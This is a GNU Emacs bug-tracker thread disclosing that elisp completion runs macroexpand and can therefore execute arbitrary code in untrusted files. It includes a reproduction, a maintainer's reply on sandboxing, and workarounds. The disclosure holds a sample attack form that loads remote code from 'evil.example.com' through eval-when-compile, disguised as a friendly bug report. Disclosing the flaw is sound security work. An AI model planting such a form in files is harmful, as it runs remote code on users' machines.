GNU bug report logs - #32495
26.1; Arbitrary code execution when completing inside untrusted elisp code

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Package: emacs; Reported by: Wilfred Hughes <me@HIDDEN>; Keywords: security; dated Wed, 22 Aug 2018 00:13:02 UTC; Maintainer for emacs is bug-gnu-emacs@HIDDEN.

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From: Stefan Monnier <monnier@HIDDEN>
To: Wilfred Hughes <me@HIDDEN>
Subject: Re: bug#32495: 26.1;
 Arbitrary code execution when completing inside untrusted elisp code
Message-ID: <jwvefeoudlu.fsf-monnier+emacs@HIDDEN>
References: <CAFXAjY7CEXsZfH_RNA8QjDYm7ynJtuCbBZOeSVATcA6rNw+qpQ@HIDDEN>
Date: Thu, 23 Aug 2018 14:54:31 -0400
In-Reply-To: <CAFXAjY7CEXsZfH_RNA8QjDYm7ynJtuCbBZOeSVATcA6rNw+qpQ@HIDDEN>
 (Wilfred Hughes's message of "Wed, 22 Aug 2018 01:11:55 +0100")
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> 1. pass in an environment with all untrusted macros replaced with dummies:

Sounds like a good first step.

We could even start with a blacklist rather than a whitelist
(eval-when-compile, eval-and-compile, cl-eval-when, ...), so the point
would be to protect oneself from accidental problems rather than from
malign adversaries.

> 2. bind all eval-capable functions first (INCOMPLETE, there are other
> eval-capable functions, such as load):

Trying to plug each and every hole sounds like a losing game
(e.g. you can implement `eval` by building a `(lambda () ,exp) and then
causing it to be called one way or another).

Ideally, we'd have some way to confine Elisp code to a sandbox of some
sort (e.g. no access to any I/O and all changes to global vars are ignored).


        Stefan
Information forwarded to bug-gnu-emacs@HIDDEN:
bug#32495; Package emacs. Full text available.
Added tag(s) security. Request was from Glenn Morris <rgm@HIDDEN> to control <at> debbugs.gnu.org. Full text available.

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From: Wilfred Hughes <me@HIDDEN>
Date: Wed, 22 Aug 2018 01:11:55 +0100
Message-ID: <CAFXAjY7CEXsZfH_RNA8QjDYm7ynJtuCbBZOeSVATcA6rNw+qpQ@HIDDEN>
Subject: 26.1;
 Arbitrary code execution when completing inside untrusted elisp code
To: bug-gnu-emacs@HIDDEN
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elisp-completion-at-point calls macroexpand, which may execute arbitrary code.

REPRODUCING

1. Insert this code in a buffer in emacs-lisp-mode.

(let ((foo (eval-when-compile (debug))))
  x)

2. Put point on x.

3. Press C-M-i, or M-x elisp-completion-at-point.

4. Observe that the debugger is opened, because code is being executed!

SEVERITY

I don't know whether Emacs considers calling code-completion on
untrusted code to be a concern or not. A contrived example might look
like a bug report containing the following:

(let ((foo (eval-when-compile (eval "/ftp:evil.example.com:exploit.el")))
      ;; ... lots of code
      (bar 1))
  ;; Dear maintainer, I've found a bug in your completion. Please try
  ;; completion in the following:
  abc
  )

This could also cause accidental issues, as I might edit code that has
some unwanted side-effects inside eval-when-compile blocks. However,
this functionality has existed since 2013 (added in commit
bbcc4d97447a by Stefan) and no-one has noticed so far.

WORKAROUNDS

When calling macroexpand or macroexpand-all, either:

1. pass in an environment with all untrusted macros replaced with dummies:


(let ((macro-whitelist '(when pcase))
      all-macros
      safe-env)
  (mapatoms
   (lambda (sym)
     (when (macrop sym)
       (push sym all-macros))))
  (mapc
   (lambda (sym)
     (unless (memq sym macro-whitelist)
       (push (cons sym (symbol-function 'ignore))
             safe-env)))
   all-macros)

  (macroexpand-all
   arbitrary-form-here
   safe-env))

2. bind all eval-capable functions first (INCOMPLETE, there are other
eval-capable functions, such as load):

(cl-letf (((symbol-function 'eval) #'ignore)
          ((symbol-function 'eval-region) #'ignore)
          ((symbol-function 'eval-buffer) #'ignore)
          ((symbol-function 'backtrace-eval) #'ignore))
  (macroexpand-all some-arbitrary-form-here))
Acknowledgement sent to Wilfred Hughes <me@HIDDEN>:
New bug report received and forwarded. Copy sent to bug-gnu-emacs@HIDDEN. Full text available.
Report forwarded to bug-gnu-emacs@HIDDEN:
bug#32495; Package emacs. Full text available.
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